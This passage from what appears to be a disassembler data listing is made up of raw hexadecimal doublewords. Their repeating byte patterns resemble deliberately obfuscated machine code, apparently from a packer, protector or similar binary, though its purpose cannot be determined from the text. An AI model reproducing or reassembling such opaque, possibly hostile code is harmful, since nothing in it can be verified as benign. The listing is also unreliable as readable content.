50400000h, 83116EC3h, 0E430FDBDh, 850F0305h dd 447h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 5C35242h, 4B7BEE7Fh, 0AE930h, 0EE570000h, 4A5490E3h dd 0AACAD6A2h, 9F5FBD83h, 0F0005E7h, 40A84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 9640FC2Dh, 27C99D89h, 816605E4h, 0FF7B75C7h, 0E79F5FB5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 1595FFC7h, 6A05E41Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8C5FC352h dd 0D72BAB61h, 8B605052h, 0E41DC19Dh, 480FB805h, 5B616D55h dd 53B58BF5h, 8905E79Fh, 0E424EDB5h, 71B58905h, 0C705E41Fh dd 1000106h, 69B50900h, 9605E424h, 14E9h, 0BDE70200h, 49231298h dd 68B2ED3Fh, 8EBBECACh, 54A36114h, 0BB6650DFh, 6A9685ADh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 2A25C357h, 5FB5FFC5h, 6A05E79Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0A07EC352h, 0D66EFE5Eh, 0E8B8A62Eh, 7, 2A61FD17h, 60ECA379h dd 17198D0Bh, 0F78B05E4h, 95FF5B61h, 5E4172Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BCC35343h, 0E522706Dh dd 8B818FF4h, 0E79F53B5h, 70E38105h, 8B199427h, 0E41D1D85h dd 0DB816605h, 86899158h, 0C4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0A5C35040h, 60ED5502h, 1499094Ch dd 2B899D8Bh, 958B05E4h, 5E41095h, 1401BD89h, 0C28305E4h dd 11E904h, 5CB50000h, 0E3E7E8CAh, 6D62C3DBh, 9E75C9C6h dd 896E20D0h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 56CC8DC3h, 0DE8h, 42C8100h, 4F7192B1h dd 0F05386AFh, 0BD8BDF5Ah, 5E4280Dh, 84858D5Fh, 5105E7B3h dd 0A8E78166h, 86895F59h, 0B8h, 318DBD8Bh, 896005E4h, 0E4167DB5h dd 0E5BD8905h, 6105E422h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 32649AC3h, 40581C2Bh dd 0CE9D2h, 0AB3F0000h, 7C16C279h, 522D030h, 0EF81CAAEh dd 4841705Eh, 9F5FB5FFh, 9D8B05E7h, 5E41759h, 104595FFh dd 0BD8B05E4h dd 5E41CC1h, 8E0F5196h, 0Ah, 5E9h, 0F5A63500h, 505F8FB6h dd 6A96ADB3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 2AD4C353h, 8719CC7Eh, 0FFD7F5A1h dd 0E79F5FB5h, 0C9BD0905h, 0FF05E432h, 0E4136595h, 59958905h dd 8305E42Ah, 0E408F9BDh, 840F0005h, 1Eh, 28359589h, 0F5005E4h dd 885h, 890F5100h, 0 dd 2434895Fh, 4199589h, 0B5FF05E4h, 5E79F5Fh, 0BE8h, 2D806800h dd 8C49FE93h, 4EA5F4ABh, 6850Fh, 850F0000h, 0 dd 0C595FF5Bh, 6A05E429h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 576DC352h, 7DC1D3C6h dd 6FD55D29h, 38E0Fh, 0F9600000h, 5FB5FF61h, 2B05E79Fh dd 0E424619Dh, 0B99D8B05h, 0FF05E410h, 0E4197195h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 820F4603h, 6, 2E859D8Bh, 852905E4h, 5E42395h, 3125BD83h dd 0F0205E4h, 4A84h, 0D9858900h, 8B05E408h, 0E4119185h dd 0AE805h, 0B7590000h, 0BB80666Fh, 758B56B2h, 0C65Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8C35747h dd 9E786E88h, 0CA4149BDh, 11BD895Bh, 0C705E429h, 0E419E585h dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 159F7ECFh, 0E9B50FFFh, 0FFFFF375h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A1C35747h dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0E0ECC3C3h, 0F8B70FA4h, 19D5858Dh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 3CDCAC3h, 0DE9A6h, 10E00000h, 0AD053BB8h, 0D0D02EB8h dd 50751202h, 8B665250h, 66310FD8h, 5A3547BFh, 24048958h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 73C35343h dd 22119D89h, 505605E4h, 5BF88B66h, 80006A5Bh, 6A2CF3h dd 0BE9h, 6EFB8500h, 0C1B5BB09h, 0F299FF4Fh, 5AE0858Dh dd 0BD2905E8h, 5E41141h, 6A05C083h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3539C353h dd 4C3DE5A5h, 12E91654h, 15000000h, 62D885A5h, 42112224h dd 78C933F0h, 0D32B87B3h, 899D8B94h, 9005E425h, 0AEBEBB66h dd 0EE96050h, 66000000h, 5D66A23Ah, 9F3790FCh, 0C47FFB54h dd 6A9061AFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 3C6EC352h, 0EF04741h, 964E68Dh dd 0E40FB195h, 6A006A05h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 834BC357h, 66006A35h dd 0FF7A70BBh, 0E421A195h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 4F3B0AC7h dd 9E7F8D8Dh, 8D8905E7h, 5E41C69h, 0BE8h, 5752AC00h, 73C01D25h dd 0BFFB94F6h, 5BD98B66h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 57C876C3h, 3B0B0BBBh dd 0FBBF0F6Eh, 2800Fh, 0F98A0000h, 2995BD83h, 0F0105E4h dd 4C85h, 18D8900h, 6A05E422h, 51006A02h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 590E0473h dd 29E799BAh, 0E41F15B5h, 4895005h, 0D3C38124h, 0FF294C0Ah dd 0E4104595h, 6860F05h, 89000000h, 0E419C5B5h, 0DBAE905h dd 0E80000h, 5D000000h, 5AEAED81h, 0DB8005E8h, 10E898h dd 8F3F0000h, 0ADA95A22h, 6EA19E14h, 7A172917h, 0D781DD50h dd 15BFF571h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8D1C8A29h, 0E7816885h, 5090F805h dd 4FEFBF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 2482AC96h, 35FF6442h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 60C35646h dd 9E034531h, 89640F56h, 25h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 4975B208h dd 0F6C38166h, 0FBB70FE3h, 142D85FFh, 6E805E4h, 0C4000000h dd 0F47D629h, 0F88B660Dh, 6AFF6A5Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 566AC353h dd 0FE8CC73h, 82000000h, 9E79EA2h, 0AE23992h, 29F53BC8h dd 0CE85485h, 0B0000000h, 5B97F947h, 471DC256h, 0E993C79Ch dd 0Ch, 17998A94h, 0FD322EAAh, 0AF0472AEh, 12E95F5Bh, 83000000h dd 30470177h, 0FCEE6635h, 0A5BDA29Bh, 4D0B257Dh, 5DB5FF09h dd 8B05E400h, 0E417399Dh, 0AD95FF05h, 0E905E42Dh, 142h dd 5890Fh, 80570000h, 0B05F36C7h, 7E900h, 10DB0000h, 0D7BFD5ADh dd 8970E6F6h, 0E414F595h, 8971E405h, 0E421F18Dh, 0F613C05h dd 11183h, 2820F00h, 8B000000h, 0C8B60FD9h, 5E9h, 17578400h dd 6BAAAE8h, 0E8000000h, 5, 0F6F1994Ch, 398D894Ah, 5B05E412h dd 14E9C18Bh, 0D1000000h, 36E594E8h, 0BE99C3E8h, 0E0C22B18h dd 476F9EDAh, 0C15069DEh, 9D8B04E8h, 5E42459h, 0E9E2F766h dd 9, 0D37AC04Eh, 554949B5h, 0FC82BE2h, 0D18BF9B7h, 7ACEBB66h dd 2E9h, 8BFE8B00h, 0E40D7D85h, 0CD958905h, 8305E40Fh dd 0BD3307C0h, 5E412F5h, 8B00C083h, 0E41AA1BDh, 0FD03B05h dd 2483h, 8B0F6000h, 6, 1245958Bh, 800F05E4h, 5, 0D49B47BBh dd 5BE96152h, 9000000h, 0E4140195h, 358D8B05h, 0F05E417h dd 686h, 75BD8900h, 0E905E423h, 7, 0A605EA97h, 836C5B85h dd 840F01E1h, 2Eh, 66F96060h, 4720C181h, 99B58B61h, 6105E422h dd 1735A583h, 0FFE05E4h, 187h, 9589F900h, 5E40D7Dh, 1EE3E3BFh dd 0E940h, 0B58D0000h, 5E7DC7Eh, 0F3BF0F60h, 26F18166h dd 6A61B7h, 23199D03h, 0E85605E4h, 9, 0F0166E3Eh, 717052A7h dd 0D88B665Dh, 95FF5F5Bh, 5E410C1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0A9C35747h, 74315BBh, 0BD8BCD4Dh dd 5E4312Dh, 7C4B9h, 5890F00h, 66000000h, 0BB53DF81h, 66FCE183h dd 562ED381h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 5941D68Bh, 816682FBh, 0B8C725CBh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1AC35646h dd 5BF9836Fh, 3CB0320h, 0E41399BDh, 0BA05h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0A4676AC3h, 270F6BBh, 0C233AD48h, 0D003E8D1h, 7504E983h dd 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 62B319E5h, 6830Fh, 0B5890000h, 5E42295h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 68C35545h dd 1EE19D8Bh, 880D05E4h, 8B000000h, 0E42C39BDh, 95958B05h dd 6A05E410h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0B824C351h, 0C331B65Fh, 0FABF0FF0h dd 2C658D8Bh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0C32629C3h, 0C172EDFFh, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D095818h, 5E41D9Dh dd 2135BD83h, 0F0005E4h, 3D84h, 0ADBD8B00h, 0B805E425h dd 0 dd 26C99589h, 8D8D05E4h, 5E44C30h, 0FF9DDB80h, 56006AE1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 80ED3DCCh, 0BD8378E7h, 5E430FDh, 0B5840F00h, 66000004h dd 7D0DE381h, 0BD83DE8Ah, 5E430FDh, 0BC840F01h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0CEA2C351h, 15F09435h, 8B45552Ah, 0E4266DBDh dd 20B76005h, 0FDBD8361h, 305E430h, 44B860Fh, 10E90000h dd 0DE000000h, 7D2A0D75h, 7094B5C4h, 5CEB2E3h, 603BC382h dd 28799D8Bh, 8C6605E4h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0A4E21B5Ah, 1CE31A9Dh dd 4DBD0950h, 8005E41Ah, 0FC8A04E1h, 840FC90Ah, 168h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E4C35242h, 0BEAAC7BDh dd 0F98B662Bh, 2C9D858Bh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 8CF65BC3h, 0C6F8546Eh dd 31F98BEEh, 0E408D9B5h, 99853305h, 6A05E420h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 5970C353h, 57892744h, 1AF59D8Bh, 605B05E4h, 6348B966h dd 4B79D981h, 90614990h, 0BB5024B3h, 1E5C21D7h, 2D9D0390h dd 6A05E411h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 12E9EEh, 5A8B0000h, 56083998h, 4535D941h dd 0E796E1CFh, 6B748A71h, 0EE9h, 7DE1C400h, 0C444A809h dd 0E7481F52h, 0E9D7B183h, 8, 566DF238h, 34F951Ch, 0D2BDC668h dd 81D98B36h, 0BE392434h, 0BD0136CDh, 5E40D65h, 15995FFh dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 8A1DD7C3h, 0BC3A0088h, 9F5F8589h, 9D8905E7h dd 5E4113Dh, 228E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0CB925BBh, 0BD8BF0E9h dd 5E40FA5h, 9F57858Bh, 0C7F505E7h, 1800h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0B58B1B7Ch, 5E79F5Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 1EC35747h, 8EC0B9Eh, 8B5417B3h, 0E42A2185h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 6EF24B6Dh, 5E9h, 0D1174600h, 10E9DF30h dd 48000000h, 122B4843h, 8ABF5224h, 0D3259552h, 8907B92Eh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0CF306183h, 13F429A2h, 0BD0BEC41h, 5E42B91h dd 2C9D858Bh, 0BF6605E4h, 4689B634h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 6660EECEh dd 7B0E381h, 1DBD8B60h, 8B05E41Fh, 0E413B5BDh, 50616105h dd 0D98B5250h, 12E8310Fh, 8C000000h, 0D39A04BFh, 0F16C7455h dd 9A0E27F3h, 94A094A5h, 585A5B7Dh, 8B243489h, 0E4200D9Dh dd 57B5FF05h, 0F05E79Fh, 38Fh, 0DE8B6600h, 0B9DBEE68h dd 505250F7h, 0F5F5052h, 9450BF31h, 585A1109h, 13E8310Fh dd 0C0000000h, 1DCD14CAh, 5829BEB8h, 4CDDDFC7h, 2A9AC574h dd 5F5668C4h, 81585A5Fh, 28112404h, 858D0865h, 5E79F5Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F8C35242h dd 8901E160h, 0B70F0C76h, 0EABB90FFh, 505ACE52h, 6A90F88Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0DD80C353h, 81264237h, 55CECD7h, 5995FF35h dd 6A05E401h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 8CF7C352h, 30CA1439h, 0DBE17A7Eh dd 0C832AEBFh, 8C0F616Eh, 6, 1731B589h, 8D8905E4h, 5E430F9h dd 30FD85C7h, 305E4h, 81660000h, 8344CFE7h, 0E79F5FBDh dd 840F0005h, 5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 89C35242h, 832C86AEh, 9DF9ED24h, 3E7801Dh dd 4BE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0CF44413Bh, 6D9D8B76h, 0F05E425h dd 48Ch, 81BF6600h, 0C305067h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 311DBD8Bh, 0C38105E4h, 1D3CE102h dd 30FDBD83h, 0F0305E4h, 3A285h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0A9A7CDA6h dd 0B5895250h, 5E42DB1h, 9F5FBD83h, 0F0005E7h, 36E84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 369F09AAh, 359D8B22h, 0FF05E41Ch, 0E79F5FB5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0C9FFFF45h, 6CDE004Ch, 9D8B31A3h, 5E40061h dd 1C1595FFh, 3BB05E4h, 8B03B2A1h, 0E79F53B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0A9D0DD9Bh, 6C78C7Bh, 10001h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 70C35646h, 86F894FDh, 2D699529h dd 0BF6605E4h, 0F96BD57h, 81h, 0FD8A5000h, 52006A96h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 7C5DE694h, 1F79BD8Bh, 9D2305E4h, 5E414C9h, 9F5FB5FFh dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 82A720C3h, 1665871Dh, 89DCAAFDh, 0E41C85B5h dd 0D7816605h, 95FFB7FCh, 5E4172Dh, 38C0Fh, 8B660000h dd 53B58BDEh, 6A05E79Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 11C351h, 3EA8132Dh dd 19D23CAh, 8B05E427h, 0E427A9BDh, 1D858B05h, 6A05E41Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0ED0BC351h, 72A449C6h, 8166E072h, 89A77ACFh dd 0C486h, 119D8B00h, 8B05E41Ch, 0E4109595h, 0C283F805h dd 20508904h, 219BD89h, 858D05E4h, 5E7B384h, 0C4CBCB81h dd 86893C45h, 0B8h, 29098589h, 8D0F05E4h, 6, 2ED9589h dd 6A05E4h, 5FB5FFF5h, 8005E79Fh, 95FF90E3h, 5E41045h dd 8950FB8Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0A124B7C3h, 8E8EBF4h, 0DB000000h dd 0B00618B3h, 8980D4ACh, 0E402BD9Dh, 81665F05h, 0FFF9ECCBh dd 0E79F5FB5h, 159D8B05h, 0FF05E41Dh, 0E4136595h, 0B19D2905h dd 8305E421h, 0E408F9BDh, 840F0005h, 52h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 6CC35747h, 0CADA6482h dd 9BD0386h, 5005E422h, 0BF665253h, 5B5F2EBCh, 6A243489h dd 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0CE1EC352h, 0B5FFF88Bh db 5Fh, 9Fh word_584F4E dw 5E7h ; DATA XREF: ___:00436804o dd 5BD31h, 95FF05E4h, 5E429C5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0DFC35747h, 0B5FFF88Bh, 5E79F5Fh dd 0DAE38166h, 7195FF1Ch, 0F05E419h, 781h, 1830F00h, 0FC000000h dd 3125BD83h, 0F0205E4h, 5F84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0AE5A08Bh dd 0FCFB8351h, 36507CBFh, 0ED9D8B63h, 8B05E404h, 0E4119185h dd 0D9B70F05h, 8BEBF66h, 6A0000C6h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 3193C351h dd 0DBBF0F96h, 19E585C7h, 5E4h, 0DB810000h, 7D39CF88h dd 0E9DBB70Fh, 0FFFFF375h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0C7C35040h, 83D78166h, 6AC18BBAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0C5B5C357h, 0BF66B031h, 9D8BB204h, 5E413E9h, 19D5858Dh dd 0BE905E4h, 0A9000000h, 57F987A1h, 67AD7AB2h, 0B3508B21h dd 24048972h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 5BC35242h, 0F9B70F8Ah, 2D3D8D89h, 6A05E4h, 6820Fh dd 9D230000h, 5E4164Dh, 0B2B7006Ah, 6A5C858Dh, 6A05E8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 1DF811C3h, 485BA135h, 0BF66FE73h, 0C083ACF0h, 89BF6605h dd 8B6650EFh, 240489F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0FFC35343h, 0BAAF13DAh, 11E9B19Fh, 0BB000000h dd 1329FB3Eh, 0C587BD24h, 272BDBCBh, 58B449B6h, 23E9BD89h dd 6A05E4h, 0F8B3006Ah, 21A195FFh, 6A05E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0BB0531C3h dd 8DF895C1h, 0E79E7F8Dh, 6AD1FF05h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7148C351h dd 0BD83FB05h, 5E42995h, 8E850F01h, 0F8000000h, 11E9026Ah dd 99000000h, 91106F11h, 5E6EB632h, 52BD513Ch, 5D50FAFEh dd 2C8D8D01h, 529005E4h, 310F5250h, 1D79BF66h, 505B585Ah dd 61605760h, 0DF8B6658h, 6A9061h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 31210DC3h, 26F6E554h dd 11E94DC2h, 0E6000000h, 1BF32575h, 4B2013E5h, 5A09BF67h dd 483B1DCEh, 104595FFh, 12E905E4h, 0E9000000h, 8FEF0D7h dd 0B0387165h, 4D7B182Eh, 0DEB83DF9h, 0C7DE914h, 0E80000h dd 5D000000h, 6A66ED81h, 958905E8h, 5E402F1h, 8DD88B66h dd 0E7816885h, 0BE905h, 562E0000h, 0D9F26C1Fh, 41D02500h dd 66605093h, 6159B4B9h, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 932AC352h dd 548F814Dh, 0F507CABh, 286h, 5B93B700h, 35FF64h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 4919C352h, 58374305h, 0F0C78195h, 6473F191h dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 2CD5C8C3h, 8ABB23BBh, 2D85FF75h dd 0E805E414h, 5, 0E1DECF1Ch, 0FABF0F97h, 6AFF6A5Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0CD81C352h, 0AE9h, 6AC7FD00h, 0B807C8C6h, 0FF446DA8h dd 0E422FDB5h, 0FFD4B705h, 0E42DAD95h, 0D0E905h, 81660000h dd 18246CFh, 0E401D1BDh, 8900B005h, 0E41F71B5h, 0B370E605h dd 0BB71E4CDh, 5EBA2767h, 830F613Ch, 0AAh, 0C8B60FF9h dd 28DDBD2Bh, 6BA05E4h, 8B000000h, 0FEB70FC1h, 6004E8C1h dd 1870Fh, 8BF80000h, 0E41D519Dh, 0F7666105h, 8BC82BE2h dd 0E429099Dh, 0C5852905h, 8B05E41Eh, 159D0BD1h, 0E905E41Eh dd 3, 8B86EB80h, 0E423C985h, 599D8B05h, 8305E41Ah, 0DE8B07C0h dd 0BB00C083h, 6A56C505h, 0FD03BF5h, 0A83h, 0F8BF0F00h dd 39E9h, 8BFB8B00h, 0E410E18Dh, 0AFCF8105h, 8334CF62h dd 840F01E1h, 22h, 1A758D01h, 0A58305E4h, 5E410E1h, 0BFBB66FEh dd 0C99589C3h, 8905E423h, 0E41A59B5h, 0E905h, 0B58D0000h dd 5E7E5FDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 6CC35747h, 2E09BB0Dh, 575F5FD7h, 29A19D8Bh, 6A05E4h dd 29ED9D8Bh, 95FF05E4h, 5E410C1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0EEC35747h, 0AED6EEA0h, 885B9F5h dd 0BD090000h, 5E41D35h, 89FCE183h, 0E4084DBDh, 6880F05h dd 89000000h, 0E417319Dh, 6AFC05h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0DA462DC3h, 0D0608184h dd 0BFF88672h, 1EAA0A30h, 0B8h, 742ABB00h, 0D22B64C5h dd 1B5DB589h, 33AD05E4h, 3E8D1C2h, 4E983D0h, 0FE8AF475h dd 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0AFBBD67Ah, 8B78C1E7h, 0E4109595h dd 8D8BF905h, 5E42C65h, 6820Fh, 0BD8B0000h, 5E42421h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 4B2BC3h, 0F51A2A7h dd 82h, 0F98BF800h, 2135BD83h, 0F0005E4h, 8784h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 9D8B5126h, 5E426D5h, 0B85Bh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0DF90F4C3h dd 0C6EF8166h, 61850923h, 8D05E421h, 0E44C308Dh, 0FE8B6605h dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 6AD111C3h, 0CB507820h, 66702604h, 0AD77D381h dd 30FDBD83h, 0F0005E4h, 43B84h, 659D0300h, 8305E401h dd 0E430FDBDh, 840F0105h, 443h, 83FA8B66h, 0E430FDBDh dd 860F0305h, 3FDh, 0A7E8EF81h, 0BF60402Eh, 7177E8EAh dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0C189C357h, 0D93419DBh, 0AE8E2h dd 0B9490000h, 0BB99E6D8h, 0E90CB925h, 5BFE8B66h, 8904E180h dd 0E4219995h, 0FC90A05h, 0F984h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BD896C27h dd 5E42621h, 2C9D858Bh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 9C3D35C3h, 378E8D5h dd 0E425219Dh, 99853305h, 6A05E420h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 2E29C352h dd 507F2AB7h, 8B240489h, 0E42C519Dh, 0C7816605h, 6A4450h dd 14BDBD89h, 676805E4h, 0F110340h, 48Fh, 61605600h, 2434815Fh dd 111C4398h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0B5C35646h, 7ED3B57Dh, 8BE1C0BBh, 0E42A199Dh, 5995FF05h dd 8905E401h, 0E42B7DBDh, 0F3816605h, 8589B8E0h, 5E79F5Fh dd 6840Fh dd 9D8B0000h, 5E4153Dh, 204E9h, 0A555BF00h, 858B14AFh dd 5E79F57h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0EDC35040h, 209B4A9Fh, 795B2043h, 1800C7h, 8BF90000h dd 0E79F5BB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0CA4AECCDh, 0E6CFB416h dd 7E8h, 5499C900h, 7762DDCDh, 1C89BD23h, 815F05E4h, 0C80BC4CBh dd 21858B08h, 6A05E42Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0E4CCC355h, 0FE9442Eh dd 0E8000000h, 16164C77h, 6D8AD068h, 25C5615Eh, 0CF8144C3h dd 27967BBh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 496BC6C3h, 0D7ED8257h, 0F8B11814h dd 9D858BF8h, 2305E42Ch, 0E42C39BDh, 4468905h, 11E9h, 4DB4600h dd 0C648F8B6h, 0A8F5D83Eh, 0DD0458A0h, 0E950AE93h, 13h dd 646DC87Ch, 7E926CBFh, 1B94D664h, 8F0C9754h, 89227F29h dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0CA07AAC3h, 25E2E2A1h, 9F57B5FFh, 4E805E7h dd 0FF000000h, 50001F03h, 355FBB66h, 424448Bh, 8E9h, 0D0273500h dd 0CBB91A53h, 60008B9Fh, 0E58AF08Bh, 24448961h, 87BB6604h dd 9D895815h, 5E4317Dh, 9F5F858Dh, 0B52905E7h, 5E41FB9h dd 53525090h, 0F310F5Bh, 58Eh, 5ABCBF00h, 585A46E6h, 0A670BB50h dd 6A903C18h, 3E85600h, 